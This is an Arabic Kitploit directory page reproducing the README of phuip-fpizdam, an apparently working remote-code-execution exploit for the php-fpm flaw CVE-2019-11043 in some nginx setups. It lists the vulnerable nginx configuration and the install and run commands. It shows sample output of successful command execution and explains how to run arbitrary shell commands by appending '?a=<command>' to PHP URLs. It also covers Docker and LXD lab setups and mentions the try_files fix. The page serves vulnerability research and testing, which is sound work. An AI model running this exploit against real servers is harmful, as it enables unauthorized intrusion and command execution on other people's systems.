Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
phuip-fpizdam — استغلال لـ CVE-2019-11043 | Kitploit
أدوات/GitHubGitHub/codehex083/phuip-fpizdam
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمر
GitHubcodehex083/phuip-fpizdam

phuip-fpizdam

استغلال لـ CVE-2019-11043

عرض المستودع
3منذ 10 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

PHuiP-FPizdaM

ما هذا؟

هذا استغلال لثغرة في php-fpm (CVE-2019-11043). في بعض تهيئات nginx + php-fpm، يمكن تشغيل الثغرة من الخارج. هذا يعني أن مستخدم الويب يمكنه تنفيذ تعليمات برمجية إذا كان لديك إعداد ضعيف (انظر أدناه).

شرح

بينما كنا كسالى جدًا لكتابة شرح، نشر Orange Tsai تحليلاً ممتازًا في مدونته. تحية له.

أيضًا، شرائحي من ZeroNights 2019 متاحة.

ما هو الضعيف؟

إذا كان خادم الويب يعمل nginx + php-fpm وكان nginx لديه إعداد مثل

root@kitploit:~
location ~ [^/]\.php(/|$) {
  ...
  fastcgi_split_path_info ^(.+?\.php)(/.*)$;
  fastcgi_param PATH_INFO       $fastcgi_path_info;
  fastcgi_pass   php:9000;
  ...
}

والذي يفتقر أيضًا إلى أي فحوصات لوجود السكريبت (مثل try_files)، فمن المحتمل أن تتمكن من اختراقه باستخدام هذا الاستغلال.

القائمة الكاملة للشروط المسبقة

  1. Nginx + php-fpm، يجب توجيه location ~ [^/]\.php(/|$) إلى php-fpm (ربما يمكن أن يكون التعبير المنتظم أكثر صرامة، انظر #1).
  2. يجب أن يكون هناك تعيين متغير PATH_INFO عبر العبارة fastcgi_param PATH_INFO $fastcgi_path_info;. أيضًا يجب تعيين SCRIPT_FILENAME باستخدام fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; (قد يكون هناك مسار ثابت بدلاً من $document_root). في البداية، اعتقدنا أن هذه دائمًا موجودة في ملف fastcgi_params، لكن هذا غير صحيح.
  3. يجب أن تكون هناك طريقة لتعيين PATH_INFO إلى قيمة فارغة. يفترض هذا الاستغلال أن توجيه fastcgi_split_path_info موجود ويحتوي على تعبير منتظم يبدأ بـ ^ وينتهي بـ $، لذلك يحاول كسر التعبير المنتظم بحرف سطر جديد.
  4. يفترض هذا الاستغلال المحدد أن PATH_INFO تم تعيينه بعد في الإعداد.

أليس هذا معروفًا بأنه ضعيف لسنوات؟

منذ وقت طويل، لم يقم php-fpm بتقييد امتدادات السكريبتات، مما يعني أن شيئًا مثل /avatar.png/some-fake-shit.php يمكنه تنفيذ avatar.png كسكريبت PHP. تم إصلاح هذه المشكلة حوالي عام 2010.

التيار لا يتطلب رفع ملف، يعمل في أحدث الإصدارات (حتى وصول الإصلاح)، والأهم من ذلك، أن الاستغلال أكثر روعة.

كيفية التشغيل

قم بتثبيته باستخدام

root@kitploit:~
go get github.com/neex/phuip-fpizdam

إذا حصلت على أخطاء تجميع غريبة، تأكد من أنك تستخدم go >= 1.13. قم بتشغيل البرنامج باستخدام phuip-fpizdam [url] (بافتراض أن لديك $GOPATH/bin داخل $PATH، وإلا حدد المسار الكامل للثنائي). المخرجات الجيدة تبدو كالتالي:

root@kitploit:~
2019/10/01 02:46:15 Base status code is 200
2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
2019/10/01 02:46:16 Performing attack using php.ini settings...
2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/01 02:46:40 Trying to cleanup /tmp/a...
2019/10/01 02:46:40 Done!

بعد ذلك، يمكنك البدء في إلحاق ?a=<أمرك> بجميع سكريبتات PHP (قد تحتاج إلى عدة محاولات).

بدلاً من ذلك، يمكنك استخدام صورة docker لتشغيل الاستغلال:

root@kitploit:~
docker run --rm ypereirareis/cve-2019-11043 [url]

بيئات الاختبار

باستخدام Docker

إذا كنت ترغب في إعادة إنتاج المشكلة أو اللعب بالاستغلال محليًا عبر Docker، قم بما يلي:

  1. استنسخ هذا المستودع وانتقل إلى دليل reproducer.
  2. أنشئ صورة docker باستخدام docker build -t reproduce-cve-2019-11043 .. يستغرق هذا وقتًا طويلاً لأنه يستنسخ مستودع php داخليًا ويبنيه من المصدر. ومع ذلك، سيكون الأمر أسهل بهذه الطريقة إذا كنت تريد تصحيح الاستغلال. المراجعة المبنية هي تلك التي تسبق الإصلاح مباشرة.
  3. قم بتشغيل docker باستخدام docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043.
  4. الآن لديك http://127.0.0.1:8080/script.php، وهو ملف فارغ.
  5. قم بتشغيل الاستغلال باستخدام phuip-fpizdam http://127.0.0.1:8080/script.php
  6. إذا كان كل شيء على ما يرام، ستتمكن من تنفيذ الأوامر عن طريق إلحاق ?a= بالسكريبت: http://127.0.0.1:8080/script.php?a=id. حاول عدة مرات لأن بعض عمال php-fpm فقط هم المصابون.

باستخدام حاويات نظام LXD

إذا كنت ترغب في إعادة إنتاج المشكلة أو اللعب بالاستغلال محليًا عبر LXD، قم بما يلي:

  1. أنشئ حاويتين للنظام، vulnerable و attacker. يمكنك استخدام صورة الحاوية ubuntu:18.04 لكلتا الحاويتين.
  2. في حاوية vulnerable، قم بتثبيت nginx و php-fpm. قم بتكوين كتلة الخادم كـ هذا الإعداد. أنشئ ملفًا فارغًا /var/www/html/index.php.
  3. في حاوية attacker، قم بتثبيت لغة Go (sudo snap install go --classic)، استنسخ هذا المستودع، وقم بتشغيل go build في دليل المستودع.
  4. قم بتشغيل الهجوم كالتالي: ./phuip-fpizdam http://vulnerable.lxd/index.php. حاول عدة أنواع لإصابة جميع عمال php-fpm.

للحصول على تعليمات أكثر تفصيلاً، راجع اختبار CVE-2019-11043 (ثغرة أمان php-fpm) مع حاويات نظام LXD.

حول PHP5

تدفق العازل السفلي في php-fpm موجود في إصدار PHP 5. ومع ذلك، يستخدم هذا الاستغلال تحسينًا يستخدم لتخزين متغيرات FastCGI، _fcgi_data_seg. هذا التحسين موجود فقط في php 7، لذلك يعمل هذا الاستغلال المحدد فقط لـ php 7. قد تكون هناك تقنية استغلال أخرى تعمل في php 5.

الاعتمادات

تم اكتشاف الشذوذ الأصلي بواسطة d90pwn خلال Real World CTF. السبب الجذري وجدته أنا (Emil Lerner) وكذلك الطريقة لتعيين خيارات php.ini. تم العثور على مجموعة خيارات php.ini النهائية بواسطة beched.

الترخيص

يتم توزيع هذا الاستغلال بموجب شروط رخصة MIT.

امتنع عن إحداث أي ضرر باستخدام هذا الاستغلال. ولكن إذا اخترقت شيئًا بهذا الشيء، سأكون سعيدًا.

تنزيل الأداة
REQUEST_URI
  • لا توجد فحوصات لوجود الملف مثل try_files $uri =404 أو if (-f $uri). إذا تجاهل Nginx الطلبات إلى السكريبتات غير الموجودة قبل توجيه FastCGI، فلن تصل طلباتنا إلى php-fpm. إضافة هذا هو أيضًا أسهل طريقة للتصحيح.
  • يعمل هذا الاستغلال فقط لـ PHP 7+، لكن الثغرة نفسها موجودة في الإصدارات السابقة (انظر أدناه).